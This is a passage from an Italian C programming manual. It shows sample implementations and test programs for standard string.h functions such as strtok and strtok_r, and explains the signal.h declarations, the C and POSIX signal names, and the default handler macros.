strcspn (const char *s, const char *reject)
{
  size_t i;
  size_t j;
  int found;
  for (i = 0; s[i] != 0; i++)
    {
      for (j = 0, found = 0; reject[j] != 0 || found; j++)
        {
          if (s[i] == reject[j])
            {
              found = 1;
              break;
            }
        }
      if (found)
        {
          break;
        }
    }
  return i;
}
```

Per verificare sommariamente il comportamento della funzione si può utilizzare l'esempio seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char *x = "ciao amore mio";
  char *y = "mnopqrstuvwxyz";
  size_t n;

  n = strcspn (x, y);
  printf ("La parte iniziale di \"%s\" ", x);
  printf ("che non contiene i caratteri \"%s\" ", y);
  printf ("si compone di %i caratteri.\n", n);
```

```
  n = strcspn (x, x);
  printf ("La parte iniziale di \"%s\" ", x);
  printf ("che non contiene i caratteri \"%s\" ", x);
  printf ("si compone di %i caratteri.\n", n);

  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
La parte iniziale di "ciao amore mio" che non contiene i caratteri ↩
↪"mnopqrstuvwxyz" si compone di 3 caratteri.
La parte iniziale di "ciao amore mio" che non contiene i caratteri ↩
↪"ciao amore mio" si compone di 0 caratteri.
```

80.14.4.6 Funzione «strpbrk()» (string point break)

La funzione ***strpbrk()*** scandisce la stringa ***s*** alla ricerca del primo carattere che risulti contenuto nella stringa ***accept***, restituendo il puntatore al carattere trovato, oppure, in mancanza di alcuna corrispondenza, il puntatore nullo.

```
#include <string.h>
char
*strpbrk (const char *s, const char *accept)
{
  size_t i;
  size_t j;
  for (i = 0; s[i] != 0; i++)
    {
      for (j = 0; accept[j] != 0; j++)
        {
          if (s[i] == accept[j])
            {
              return (char *) (s + i);
            }
        }
    }
  return NULL;
}
```

Per verificare sommariamente il comportamento della funzione si può utilizzare l'esempio seguente:

```
#include <stdio.h>
#include <string.h>
int
```

```
main (void)
{
  char *x = "ciao amore mio";
  char *y = "mnopqrstuvwxyz";
  char *p;

  p = strpbrk (x, y);
  printf ("La stringa \"%s\" che inizia all'indirizzo %u, ", x,
          (unsigned int) x);
  printf ("trova la prima corrispondenza con la stringa \"%s\" ", y);
  printf ("all'indirizzo %u.\n", (unsigned int) p);

  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
La stringa "ciao amore mio" che inizia all'indirizzo 134516840, ↩
↪trova la prima corrispondenza con la stringa "mnopqrstuvwxyz" ↩
↪all'indirizzo 134516843.
```

80.14.4.7 Funzione «strstr()»

La funzione ***strstr()*** cerca la stringa ***substring*** nella stringa ***string*** restituendo il puntatore alla prima corrispondenza trovata (nella stringa ***string***). Se la corrispondenza non c'è, la funzione restituisce il puntatore nullo.

```
#include <string.h>
char
*strstr (const char *string, const char *substring)
{
  size_t i;
  size_t j;
  size_t k;
  int found;
  if (substring[0] == 0)
    {
      return (char *) string;
    }
  for (i = 0, j = 0, found = 0; string[i] != 0; i++)
    {
      if (string[i] == substring[0])
        {
          for (k = i, j = 0;
               string[k] == substring[j] && string[k] != 0 && substring[j] != 0;
               j++, k++)
            {
              ;
            }
          if (substring[j] == 0)
```

```
            {
              found = 1;
            }
        }
      if (found)
        {
          return (char *) (string + i);
        }
    }
  return NULL;
}
```

Per verificare sommariamente il comportamento della funzione si può utilizzare l'esempio seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char *x = "ciao amore mio";
  char *y = "amore";
  char *p;

  p = strstr (x, y);
  printf ("La stringa \"%s\" che inizia all'indirizzo %u, ", x,
          (unsigned int) x);
  printf ("contiene la stringa \"%s\" ", y);
  printf ("all'indirizzo %u.\n", (unsigned int) p);

  p = strstr (x, "");
  printf ("La stringa \"%s\" che inizia all'indirizzo %u, ", x,
          (unsigned int) x);
  printf ("contiene la stringa \"%s\" ", "");
  printf ("all'indirizzo %u.\n", (unsigned int) p);

  p = strstr (x, "baba");
  printf ("La stringa \"%s\" che inizia all'indirizzo %u, ", x,
          (unsigned int) x);
  printf ("contiene la stringa \"%s\" ", "baba");
  printf ("all'indirizzo %u.\n", (unsigned int) p);

  return 0;
}
```

Avviando questo programma si deve ottenere un risultato come quello seguente:

```
La stringa "ciao amore mio" che inizia all'indirizzo 134517000, ↩
↪contiene la stringa "amore" all'indirizzo 134517005.
```

```
La stringa "ciao amore mio" che inizia all'indirizzo 134517000, ↩
↪contiene la stringa "" all'indirizzo 134517000.
La stringa "ciao amore mio" che inizia all'indirizzo 134517000, ↩
↪contiene la stringa "baba" all'indirizzo 0.
```

80.14.4.8 Funzione «strtok()» (string token)

La funzione ***strtok()*** serve a suddividere una stringa in unità, definite *token*, specificando un elenco di caratteri da intendere come delimitatori, in una seconda stringa. La funzione va usata in fasi successive, fornendo solo inizialmente la stringa da suddividere che continua poi a essere utilizzata se al suo posto viene fornito il puntatore nullo. La funzione restituisce, di volta in volta, il puntatore alla sottostringa contenente l'unità individuata, oppure il puntatore nullo, se non può trovarla.

La funzione deve tenere memoria di un puntatore in un'area di memoria persistente (quello che nei commenti viene definito «puntatore statico») e deve isolare le unità modificando la stringa originale, inserendo il carattere nullo di terminazione alla fine delle unità individuate.

Quando la funzione viene chiamata indicando al posto della stringa da scandire il puntatore nullo, l'insieme dei delimitatori può essere diverso da quello usato nelle fasi precedenti.

```
#include <string.h>
char
*strtok (char *restrict string, const char *restrict delim)
{
  static char *next = NULL;
  size_t i = 0;
  size_t j;
  int found_token;
  int found_delim;
  //
  // Se la stringa fornita come argomento è un puntatore nullo,
  // occorre avvalersi del puntatore statico. Se però questo
  // è nullo a sua volta, la scansione non può avvenire.
  //
  if (string == NULL)
    {
      if (next == NULL)
        {
          return NULL;
        }
      else
        {
          string = next;
        }
    }
  //
  // Se la stringa fornita come argomento è vuota, la
  // scansione non può avvenire.
  //
  if (string[0] == 0)
    {
```

```
        next = NULL;
        return NULL;
      }
    else
      {
        if (delim[0] == 0)
          {
            return string;
          }
      }
    //
    // Trova la prossima unità (token).
    //
    for (i = 0, found_token = 0, j = 0; string[i] != 0 && (!found_token); i++)
      {
        //
        // Cerca tra i delimitatori.
        //
        for (j = 0, found_delim = 0; delim[j] != 0; j++)
          {
            if (string[i] == delim[j])
              {
                found_delim = 1;
              }
          }
        //
        // Se il carattere attuale della stringa non è
        // un delimitatore, si tratta dell'inizio di una
        // nuova unità (token).
        //
        if (!found_delim)
          {
            found_token = 1;
            break;
          }
      }
    //
    // Se è stata trovata una unità (token) viene aggiustato
    // il puntatore che rappresenta la stringa. Se invece
    // non è stata trovata l'unità, vuol dire che non ce ne
    // possono essere altre.
    //
    if (found_token)
      {
        string += i;
      }
    else
      {
        next = NULL;
        return NULL;
      }
    //
```

```
  // Cerca la fine dell'unità trovata.
  //
  for (i = 0, found_delim = 0; string[i] != 0; i++)
    {
      for (j = 0; delim[j] != 0; j++)
        {
          if (string[i] == delim[j])
            {
              found_delim = 1;
              break;
            }
        }
      if (found_delim)
        {
          break;
        }
    }
  //
  // Se è stato trovato un delimitatore, allora il carattere
  // corrispondente nella stringa deve essere azzerato.
  // Se invece la stringa originale è terminata per conto proprio,
  // allora non è possibile continuare la ricerca in una fase
  // successiva, perché non ci possono essere altre unità.
  //
  if (found_delim)
    {
      string[i] = 0;
      next = &string[i+1];
    }
  else
    {
      next = NULL;
    }
  //
  // A questo punto, la stringa attuale rappresenta
  // l'unità trovata.
  //
  return string;
}
```

Per comprendere lo scopo della funzione viene utilizzato lo stesso esempio che appare nel documento *ISO/IEC 9899:TC2*, al paragrafo 7.21.5.7, con qualche piccola modifica per poterlo rendere un programma autonomo:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char str[] = "?a???b,,,#c";
  char *t;
```

```
  t = strtok (str, "?");              // t punta all'unità "a"
  printf ("strtok: \"%s\"\n", t);
  t = strtok (NULL, ",");             // t punta all'unità "??b"
  printf ("strtok: \"%s\"\n", t);
  t = strtok (NULL, "#,");            // t punta all'unità "c"
  printf ("strtok: \"%s\"\n", t);
  t = strtok (NULL, "?");             // t è un puntatore nullo
  printf ("strtok: \"%s\"\n", t);

  return 0;
}
```

Avviando il programma si ottiene quanto già descritto dai commenti inseriti nel codice:

```
strtok: "a"
strtok: "??b"
strtok: "c"
strtok: "(null)"
```

Ciò che avviene nell'esempio può essere schematizzato dalle figure successive. Inizialmente la stringa '**str**' ha in memoria l'aspetto seguente:

str[]
? a ? ? ? b , , , # c \0

Dopo la prima chiamata della funzione ***strtok()*** la stringa risulta alterata e il puntatore ottenuto raggiunge la lettera '**a**':

t = strtok (str, "?");
? a \0 ? ? b , , , # c \0

Dopo la seconda chiamata della funzione, in cui si usa il puntatore nullo per richiedere una scansione ulteriore della stringa originale, si ottiene un nuovo puntatore che, questa volta, inizia a partire dal quarto carattere, rispetto alla stringa originale, dal momento che il terzo è già stato sovrascritto da un carattere nullo:

t = strtok (NULL, ",");
? a \0 ? ? b \0 , , # c \0

La penultima chiamata della funzione ***strtok()*** raggiunge la lettera '**c**' che è anche alla fine della stringa originale:

```
t = strtok (NULL, "#,");
```

?	a	\0	?	?	b	\0	,	,	#	c	\0

L'ultimo tentativo di chiamata della funzione non può dare alcun esito, perché la stringa originale si è già conclusa.

Va tenuto in considerazione che la funzione ***strtok()***, dovendo mantenere in memoria la posizione trovata dell'ultima scansione eseguita, da una chiamata a quella successiva, non è «rientrante», pertanto non si presta per i programmi che si suddividono in più thread.

80.14.4.9 Funzione «strtok_r()»

La funzione ***strtok_r()***, richiesta dallo standard POSIX, salva il puntatore interno alla stringa che viene scandita, esternamente, in modo da poter essere usata in un contesto in cui più thread operano simultaneamente. In pratica si aggiunge un terzo parametro, costituito da un puntatore a puntatore a carattere.

POSIX

Il puntatore a carattere ('**`char *`**'), il cui puntatore viene fornito come terzo argomento della funzione, deve essere dichiarato prima della chiamata della funzione. La prima volta che viene chiamata la funzione ***strtok_r()*** non conta quale valore abbia effettivamente tale variabile di tipo '**`char *`**', perché è la funzione stessa che lo inizializza, ma nelle chiamate successive (quando al posto della stringa si dà alla funzione il valore '**`NULL`**'). Quando termina la scansione della stringa con le chiamate di ***strtok_r()***, la variabile '**`char *`**' di cui si passa il puntatore, può essere utilizzata per altri scopi, o per altre scansioni.

La soluzione seguente, per la realizzazione della funzione ***strtok_r()***, può essere confrontato con quella relativa alla funzione ***strtok()***, per comprendere il senso e l'utilizzo dell'ultimo parametro.

```
char
*strtok_r (char *restrict string, const char *restrict delim, char **saveptr)
{
  size_t i = 0;
  size_t j;
  int found_token;
  int found_delim;
  //
  // Se la stringa fornita come argomento è un puntatore nullo,
  // occorre avvalersi del puntatore "*saveptr". Se però questo
  // è nullo a sua volta, la scansione non può avvenire.
  //
  if (string == NULL)
    {
      if (*saveptr == NULL)
        {
          return NULL;
        }
      else
```

```
        {
          string = *saveptr;
        }
    }
  //
  // Se la stringa fornita come argomento è vuota, la
  // scansione non può avvenire.
  //
  if (string[0] == 0)
    {
      *saveptr = NULL;
      return NULL;
    }
  else
    {
      if (delim[0] == 0)
        {
          return string;
        }
    }
  //
  // Trova la prossima unità (token).
  //
  for (i = 0, found_token = 0, j = 0; string[i] != 0 && (!found_token); i++)
    {
      //
      // Cerca tra i delimitatori.
      //
      for (j = 0, found_delim = 0; delim[j] != 0; j++)
        {
          if (string[i] == delim[j])
            {
              found_delim = 1;
            }
        }
      //
      // Se il carattere attuale della stringa non è
      // un delimitatore, si tratta dell'inizio di una
      // nuova unità (token).
      //
      if (!found_delim)
        {
          found_token = 1;
          break;
        }
    }
  //
  // Se è stata trovata una unità (token) viene aggiustato
  // il puntatore che rappresenta la stringa. Se invece
  // non è stata trovata l'unità, vuol dire che non ce ne
  // possono essere altre.
  //
```

```
    if (found_token)
      {
        string += i;
      }
    else
      {
        *saveptr = NULL;
        return NULL;
      }
    //
    // Cerca la fine dell'unità trovata.
    //
    for (i = 0, found_delim = 0; string[i] != 0; i++)
      {
        for (j = 0; delim[j] != 0; j++)
          {
            if (string[i] == delim[j])
              {
                found_delim = 1;
                break;
              }
          }
        if (found_delim)
          {
            break;
          }
      }
    //
    // Se è stato trovato un delimitatore, allora il carattere
    // corrispondente nella stringa deve essere azzerato.
    // Se invece la stringa originale è terminata per conto proprio,
    // allora non è possibile continuare la ricerca in una fase
    // successiva, perché non ci possono essere altre unità.
    //
    if (found_delim)
      {
        string[i] = 0;
        *saveptr = &string[i+1];
      }
    else
      {
        *saveptr = NULL;
      }
    //
    // A questo punto, la stringa attuale rappresenta
    // l'unità trovata.
    //
    return string;
}
```

Per dimostrare il lavoro della funzione, viene utilizzato lo stesso esempio già usato a proposito

di ***strtok()***, con poche piccole modifiche:

```
int
main (void)
{
  char str[] = "?a???b,,,#c";
  char *t;
  char *save;

  t = strtok_r (str, "?", &save);         // t punta all'unità "a"
  printf ("strtok: \"%s\"\n", t);
  t = strtok_r (NULL, ",", &save);        // t punta all'unità "??b"
  printf ("strtok: \"%s\"\n", t);
  t = strtok_r (NULL, "#,", &save);       // t punta all'unità "c"
  printf ("strtok: \"%s\"\n", t);
  t = strtok_r (NULL, "?", &save);        // t è un puntatore nullo
  printf ("strtok: \"%s\"\n", t);

  return 0;
}
```

Avviando il programma si ottiene esattamente la stessa cosa dell'esempio già visto:

```
strtok: "a"
strtok: "??b"
strtok: "c"
strtok: "(null)"
```

80.14.5 Funzioni varie

Seguono i prototipi delle funzioni descritte nelle sezioni successive. Questi appartengono allo standard C:

```
void   *memset     (void *s, int c, size_t n);
char   *strerror   (int errnum);
size_t strlen      (const char *s);
```

POSIX

Il prototipo successivo viene aggiunto dallo standard POSIX:

```
int     strerror_r (int errnum, char *s, size_t n);
```

80.14.5.1 Funzione «memset()» (memory set)

La funzione ***memset()*** consente di inizializzare una certa area di memoria con la ripetizione di un certo carattere. Per la precisione, viene usato il valore del parametro ***c***, tradotto in un carattere senza segno, copiandolo per ***n*** volte a partire dall'indirizzo a cui punta ***s***. La funzione restituisce ***s***.

```
#include <string.h>
void
*memset (void *s, int c, size_t n)
{
  unsigned char *a = (unsigned char *) s;
  unsigned char x  = (unsigned char) c;
  size_t i;
  for (i = 0; n > 0 && i < n; i++)
    {
      a[i] = x;
    }
  return s;
}
```

Per verificare sommariamente il comportamento della funzione si può utilizzare l'esempio seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  int x = 0x12345678;
  printf ("prima: 0x%x\n", x);
  memset (&x, 0xFF, 2);
  printf ("dopo: 0x%x\n", x);

  char X[] = "ciao amore mio";
  printf ("prima: \"%s\"\n", X);
  memset (X, 'Q', 5);
  printf ("dopo: \"%s\"\n", X);

  return 0;
}
```

Avviando questo programma in un elaboratore con architettura a 32 bit e inversione dei byte (*little endian*) si deve ottenere il risultato seguente:

```
prima: 0x12345678
dopo: 0x1234ffff
prima: "ciao amore mio"
```

```
dopo: "QQQQQamore mio"
```

80.14.5.2 Funzione «strerror()» (string error)

La funzione ***strerror()*** serve a tradurre il numero fornito come argomento in un puntatore da cui inizia una stringa contenente una spiegazione. In altri termini, serve a trasformare un numero in una descrizione di un tipo di errore. Qui viene mostrata una soluzione priva di utilità, anche se risponde alle richieste delle specifiche:

```
#include <string.h>
char
*strerror (int errnum)
{
  static char answare[] = "Unknown error";
  return answare;
}
```

L'esempio successivo può servire a dimostrare il senso di questa funzione:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  printf ("%s\n", strerror (0));
  printf ("%s\n", strerror (1));
  printf ("%s\n", strerror (2));
  printf ("%s\n", strerror (3));
  printf ("%s\n", strerror (4));
  return 0;
}
```

Utilizzando questo programma compilato con le librerie di un sistema GNU si potrebbero vedere i messaggi seguenti:

```
Success
Operation not permitted
No such file or directory
No such process
Interrupted system call
```

La stringa a cui punta la funzione può essere condivisa da altre chiamate successive della stessa, pertanto, in un programma con thread multipli, è possibile che avvenga la sovrascrittura, a meno di disporre di un elenco separato di tutti i tipi di messaggio di errore.

80.14.5.3 Funzione «strerror_r()» (string error)

La funzione ***strerror_r()*** viene aggiunta dallo standard POSIX e consente di tradurre un errore numerico in stringa, fornendo alla funzione il puntatore iniziale della stringa da produrre e la lunghezza massima che questa può raggiungere. Questo meccanismo consente di utilizzare la funzione in applicazioni che avviano thread multipli.

POSIX

Per quanto riguarda l'utilizzo, la differenza fondamentale rispetto a ***strerror()*** sta nel fatto che restituisce un valore intero, pari a zero, se l'operazione ha avuto successo, oppure −1 in caso di problemi, aggiornando di conseguenza anche la variabile ***errno***. L'esempio successivo può servire a dimostrare il senso di questa funzione:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  char msg[100];

  if (!strerror_r (1, msg, 100))
    {
      printf ("%s\n", msg);
    }
  if (!strerror_r (2, msg, 100))
    {
      printf ("%s\n", msg);
    }
  if (!strerror_r (3, msg, 100))
    {
      printf ("%s\n", msg);
    }
  if (!strerror_r (4, msg, 100))
    {
      printf ("%s\n", msg);
    }
  return 0;
}
```

Utilizzando questo programma compilato con le librerie di un sistema GNU si potrebbero vedere i messaggi seguenti:

```
Success
Operation not permitted
No such file or directory
No such process
Interrupted system call
```

La stringa a cui punta la funzione può essere condivisa da altre chiamate successive della stessa, pertanto, in un programma con thread multipli, è possibile che avvenga la sovrascrittura,

a meno di disporre di un elenco separato di tutti i tipi di messaggio di errore.

80.14.5.4 Funzione «strlen()» (string length)

La funzione ***strlen()*** calcola la lunghezza di una stringa, escludendo dal conteggio il carattere nullo di terminazione:

```
#include <string.h>
size_t
strlen (const char *s)
{
  size_t i;
  for (i = 0; s[i] != 0 ; i++)
    {
      ; // Esegue solo il conteggio.
    }
  return i;
}
```

Per verificare sommariamente il comportamento della funzione si può utilizzare l'esempio seguente:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
  size_t lunghezza;
  char stringa[] = "ciao amore";
  lunghezza = strlen (stringa);
  printf ("la frase \"%s\" si compone di %i caratteri\n",
          stringa,
          lunghezza);
  return 0;
}
```

Avviando il programma si deve vedere il risultato seguente:

```
la frase "ciao amore" si compone di 10 caratteri
```

80.15 File «signal.h»

Il file '`signal.h`' della libreria standard definisce principalmente delle funzioni per la gestione dei segnali che riguardano il programma. Assieme alle funzioni definisce anche delle macro-variabili per classificare i segnali e per fare riferimento a delle funzioni predefinite, destinate astrattamente al trattamento dei segnali (si veda eventualmente la realizzazione del file '`signal.h`' e di alcune delle sue funzioni nei sorgenti di os16, sezione 106.8, oppure di os32, sezione 120.11).

Dal punto di vista del programmatore, l'uso delle funzioni di questo file di intestazione può essere abbastanza semplice, ma la comprensione di come siano organizzate nel file 'signal.h' diventa invece difficile.

Nello standard POSIX, la questione dei segnali è particolarmente complessa. Nel capitolo viene considerato solo il fatto che i segnali standard sono in numero maggiore, tralasciando sostanzialmente il resto.

Qui vengono proposti due modi alternativi di scrivere il file 'signal.h' che dovrebbero essere disponibili presso ⟨*allegati/c/include/signal.h* ⟩ e ⟨*allegati/c/include/signal-bis.h* ⟩.

80.15.1 Dichiarazione contorta

Per la gestione dei segnali ci sono due funzioni che vengono dichiarate nel file 'signal.h': ***signal()*** e ***raise()***. La funzione ***raise()*** serve ad azionare un segnale, come dire che serve ad attivare manualmente un allarme interno al programma, specificato da un numero particolare che ne definisce il tipo. Il programma contiene sempre una procedura predefinita che stabilisce ciò che deve essere fatto in presenza di un certo allarme, ma il programmatore può ridefinire la procedura attraverso l'uso della funzione ***signal()***, con la quale si associa l'avvio di una funzione particolare in presenza di un certo segnale. Il modello sintattico seguente rappresenta, in modo estremamente semplificato, l'uso della funzione ***signal()***:

```
signal (n_segnale, funzione_da_associare)
```

Logicamente la funzione che si associa a un certo numero di segnale viene indicata negli argomenti della chiamata come puntatore a funzione. La funzione che viene passata come argomento è un gestore di segnale e deve avere una certa forma:

```
void gestore (n_segnale)
```

In pratica, quando viene creata l'associazione tra segnale e funzione che deve gestirlo, la funzione in questione deve avere un parametro tale da poter rappresentare il numero del segnale che la riguarda e non restituisce alcun valore (pertanto è di tipo '**void**').

Avendo determinato questo, il modello della funzione ***signal()*** può essere precisato un po' di più:

```
signal (n_segnale, void (*gestore)(int))
```

Ciò significa che il secondo argomento della funzione ***signal()*** è un puntatore a una funzione ('***gestore*** **()**') con un parametro di tipo '**int**', la quale non restituisce alcunché ('**void**').

Ma non è ancora stato specificato cosa deve restituire la funzione ***signal()***: un puntatore a una funzione che ha un parametro di tipo '**int**' e che a sua volta non restituisce alcunché. In pratica, ***signal()*** deve restituire il puntatore a una funzione che ha le stesse caratteristiche di quella del proprio secondo parametro. A questo punto, si arriva al prototipo completo, ma molto difficile da interpretare a prima vista:

```
void (*signal (n_segnale, void (*gestore)(int)))(int);
```

Per ovviare a questo problema di comprensibilità, anche se lo standard non lo prescrive, di norma, nel file '`signal.h`' si dichiara un tipo speciale, in qualità di puntatore a funzione con le caratteristiche del gestore di segnale:

```
…
typedef void (*sighandler_t) (int);
…
```

Così facendo, la funzione ***signal()*** può essere dichiarata in modo più gradevole:

```
sighandler_t signal (n_segnale, sighandler_t gestore);
```

80.15.2 Tipo speciale

A parte il caso di '**`sighandler_t`**' che non fa parte dello standard del linguaggio, il file '`include.h`' definisce il tipo '**`sig_atomic_t`**', il cui uso non viene precisato dai documenti ufficiali. Si chiarisce solo che deve trattarsi di un valore intero, possibilmente di tipo volatile, a cui si possa accedere attraverso una sola istruzione elementare del linguaggio macchina (in modo tale che la lettura o la modifica del suo contenuto non possa essere sospesa a metà da un'interruzione di qualunque genere).

```
typedef int sig_atomic_t;
```

Nell'esempio, il tipo '**`sig_atomic_t`**' viene dichiarato come equivalente al tipo '**`int`**', supponendo che l'accesso alla memoria per un tipo intero normale corrisponda a un'operazione «atomica» nel linguaggio macchina. A ogni modo, il tipo a cui corrisponde '**`sig_atomic_t`**' può dipendere da altri fattori, mentre l'unico vincolo nel rango è quello di poter contenere i valori rappresentati dalle macro-variabili ***SIG***..., le quali individuano mnemonicamente i segnali.

Il programmatore che deve memorizzare un segnale in una variabile, potrebbe usare per questo il tipo '**`sig_atomic_t`**'.

80.15.3 Denominazione dei segnali

Un gruppo di macro-variabili definisce l'elenco dei segnali gestibili. Lo standard del linguaggio ne prescrive solo una quantità minima, mentre il sistema operativo può richiederne degli altri. Teoricamente l'associazione del numero al nome simbolico del segnale è libera, ma in pratica la concordanza con altri standard prescrive il rispetto di un minimo di uniformità.

```
#define SIGINT          2
#define SIGILL          4
#define SIGABRT         6
#define SIGFPE          8
#define SIGSEGV        11
#define SIGTERM        15
```

Tabella 80.208. Denominazione dei segnali indispensabili al linguaggio C.

Denominazione	Significato mnemonico	Descrizione
SIGABRT	*abort*	Deriva da una terminazione anomala che può essere causata espressamente dall'uso della funzione ***abort()***.
SIGFPE	*floating point exception*	Viene provocato da un'operazione aritmetica errata, come la divisione per zero o uno straripamento del risultato.
SIGILL	*illegal*	Istruzione «illegale».
SIGINT	*interrupt*	Deriva dalla ricezione di una richiesta interattiva di attenzione, quale può essere quella di un'interruzione.
SIGSEGV	*segmentation violation*	Deriva da un accesso alla memoria non valido, per esempio oltre i limiti fissati.
SIGTERM	*termination*	Indica la ricezione di una richiesta di terminazione del funzionamento del programma.

80.15.4 Segnali secondo POSIX

Lo standard POSIX prescrive un insieme minimo di segnali più numeroso, attribuendo anche un'azione predefinita a carico del sistema operativo.

POSIX

Tabella 80.209. Denominazione dei segnali indispensabili allo standard POSIX.

Denominazione	Azione predefinita	Descrizione
SIGABRT	terminazione anomala	Conclusione prematura del processo elaborativo.
SIGALRM	terminazione normale	Segnale di allarme da un orologio programmabile.
SIGBUS	terminazione anomala	Accesso errato alla memoria.
SIGCHLD	ignorato	Conclusione, sospensione o continuazione di un processo figlio.
SIGCONT	continuazione	Ripresa dell'esecuzione di un processo, se risulta sospeso.
SIGFPE	terminazione anomala	Operazione aritmetica errata.
SIGHUP	terminazione normale	Aggancio (interruzione del collegamento con il terminale).
SIGILL	terminazione anomala	Istruzione illegale.
SIGINT	terminazione normale	Segnale di interruzione dal terminale.

Denominazione	Azione predefinita	Descrizione
`SIGKILL`	terminazione normale	Eliminazione del processo elaborativo (senza la possibilità che il segnale sia catturato o ignorato).
`SIGPIPE`	terminazione normale	Scrittura verso un condotto (*pipe*) senza che alcun processo stia leggendo da lì.
`SIGQUIT`	terminazione anomala	Segnale di abbandono (*quit*) dal terminale.
`SIGSEGV`	terminazione anomala	Riferimento errato alla memoria.
`SIGSTOP`	sospensione	Sospensione dell'esecuzione (senza la possibilità che il segnale sia catturato o ignorato).
`SIGTERM`	terminazione normale	Richiesta di conclusione del funzionamento.
`SIGSTOP`	sospensione	Segnale di stop dal terminale.
`SIGTTIN`	sospensione	Processo sullo sfondo che attende di poter leggere (dalla tastiera).
`SIGTTOU`	sospensione	Processo sullo sfondo che attende di poter scrivere (sullo schermo del terminale).
`SIGUSR1`	terminazione normale	Segnale 1, il cui scopo è definibile dall'utente.
`SIGUSR2`	terminazione normale	Segnale 2, il cui scopo è definibile dall'utente.
`SIGPOLL`	terminazione normale	*Pollable event*.
`SIGPROF`	terminazione normale	*Profiling timer expired*.
`SIGSYS`	terminazione anomala	Chiamata di sistema errata.
`SIGTRAP`	terminazione anomala	Trappola scattata per il tracciamento del codice.
`SIGURG`	ignorato	Informazione urgente disponibile da un *socket*.
`SIGVTALRM`	terminazione normale	*Virtual timer expired*.
`SIGXCPU`	terminazione anomala	Limite del tempo di CPU superato.
`SIGXFSZ`	terminazione anomala	Limite della dimensione dei file superato.

L'azione predefinita è quella che deve essere svolta dal sistema operativo se il segnale non viene catturato o non viene ignorato (tenendo conto che per '**`SIGKILL`**' e '**`SIGSTOP`**' i programmi non possono intervenire) dal programma che lo riceve. Una «terminazione normale» implica la conclusione normale del processo elaborativo, a parte il fatto che il valore restituito dal processo dipende dal segnale stesso; una «terminazione anomala» implica di solito qualcosa di più, di solito si tratta dello scarico della memoria del processo in un file (*core dump*), per consentire un'analisi di quanto accaduto; la «sospensione» rappresenta un arresto temporaneo, in attesa di un segnale di «continuazione»; un segnale «ignorato» indica che lo stato del processo non viene cambiato, ma ciò non significa che il segnale in sé sia privo di conseguenze.

Il segnale '**`SIGCHLD`**' che formalmente viene indicato come privo di effetti, nella tradizione

Unix ha un ruolo molto importante e relativamente complesso, per la gestione della dipendenza dei processi. In un sistema Unix i processi hanno una dipendenza gerarchica, trattata secondo un albero genealogico, dove ogni processo ha un genitore. Dato che la conclusione di un processo produce un valore che dovrebbe essere raccolto dal genitore che lo ha avviato (oppure che lo ha adottato, nel caso il genitore vero sia defunto nel frattempo), quando un processo muore (termina di funzionare per qualunque motivo), il genitore riceve un segnale '**SIGCHLD**': se il genitore è in attesa del valore di uscita del processo defunto, lo raccoglie e le tracce residue di tale processo possono essere distrutte definitivamente; altrimenti, se il segnale non viene catturato il processo defunto viene eliminato senza comunicare tale valore al genitore.

80.15.5 Gestori fittizi di segnali

Lo standard prescrive di definire tre macro-variabili che devono espandersi in un puntatore a quel tipo di funzione che deve essere in grado di gestire le azioni da compiere in relazione alla ricezione di un certo segnale. Tuttavia, questo puntatore non deve essere rivolto a una funzione vera, ma averne solo la forma. In pratica, si usano dei valori interi con un valore assoluto molto piccolo e si esegue un cast per trasformarli in puntatori a funzione, come già accennato.

Per ottenere questo risultato, si possono dichiarare le macro-variabili in due modi equivalenti, con la differenza che il secondo è probabilmente più difficile da interpretare:

```
typedef void (*sighandler_t) (int); // Il tipo «sighandler_t» è
                                    // un puntatore a funzione
                                    // per la gestione dei segnali
                                    // con parametro «int» che
                                    // restituisce «void».
//
// Funzioni non dichiarabili
//
#define SIG_ERR ((sighandler_t) -1) // Trasforma un numero intero
#define SIG_DFL ((sighandler_t) 0)  // in un tipo «sighandler_t»,
#define SIG_IGN ((sighandler_t) 1)  // ovvero un puntatore a funzione
                                    // che però non esiste realmente.
```

```
//
// Funzioni non dichiarabili
//
#define SIG_ERR ((void (*) (int)) -1) // Trasforma un numero intero
#define SIG_DFL ((void (*) (int)) 0)  // in un puntatore a una funzione
#define SIG_IGN ((void (*) (int)) 1)  // che ha un parametro «int» e
                                      // restituisce «void».
```

Lo standard sottolinea il fatto che il numero trasformato in puntatore non deve poter corrispondere all'indirizzo di alcuna funzione reale; pertanto i valori usati possono essere solo molto bassi alti (in termini di valore assoluto), contando sul fatto che a tali indirizzi non ci possano essere funzioni reali. In pratica, non deve succedere che venga dichiarata una funzione per la gestione di un segnale che finisca per avere proprio tali indirizzi, perché se così fosse, non verrebbe avviata, ma al suo posto verrebbe considerata l'azione che una di queste macro-variabili

simboleggia.

Tabella 80.212. Macro-variabili per la gestione predefinita dei segnali.

Denominazione	Significato mnemonico	Descrizione
`SIG_DFL`	*default*	Indica simbolicamente che l'azione da compiere alla ricezione del segnale deve essere quella predefinita.
`SIG_IGN`	*ignore*	Indica simbolicamente che alla ricezione del segnale si procede come se nulla fosse accaduto.
`SIG_ERR`	*error*	Rappresenta un risultato errato nell'uso della funzione ***signal()***.

80.15.6 Funzioni

«

La funzione ***signal()*** viene usata per associare un «gestore di segnale», costituito dal puntatore a una funzione, a un certo segnale; tutto questo allo scopo di attivare automaticamente quella tale funzione al verificarsi di un certo evento che si manifesta tramite un certo segnale.

La funzione ***signal()*** restituisce un puntatore alla funzione che precedentemente si doveva occupare di quel segnale. Se invece l'operazione fallisce, ***signal()*** esprime questo errore restituendo il valore ***SIG_ERR***, spiegando così il motivo per cui questo debba avere l'apparenza di un puntatore a funzione.

Per la stessa ragione per cui esiste ***SIG_ERR***, le macro-variabili ***SIG_DFL*** e ***SIG_IGN*** vanno usate come gestori di segnali, rispettivamente, per ottenere il comportamento predefinito o per far sì che i segnali siano ignorati semplicemente.

In linea di principio si può ritenere che nel proprio programma esista una serie iniziale di dichiarazioni implicite per cui si associano tutti i segnali gestibili a ***SIG_DFL***:

```
...
signal (segnale, SIG_DFL);
...
```

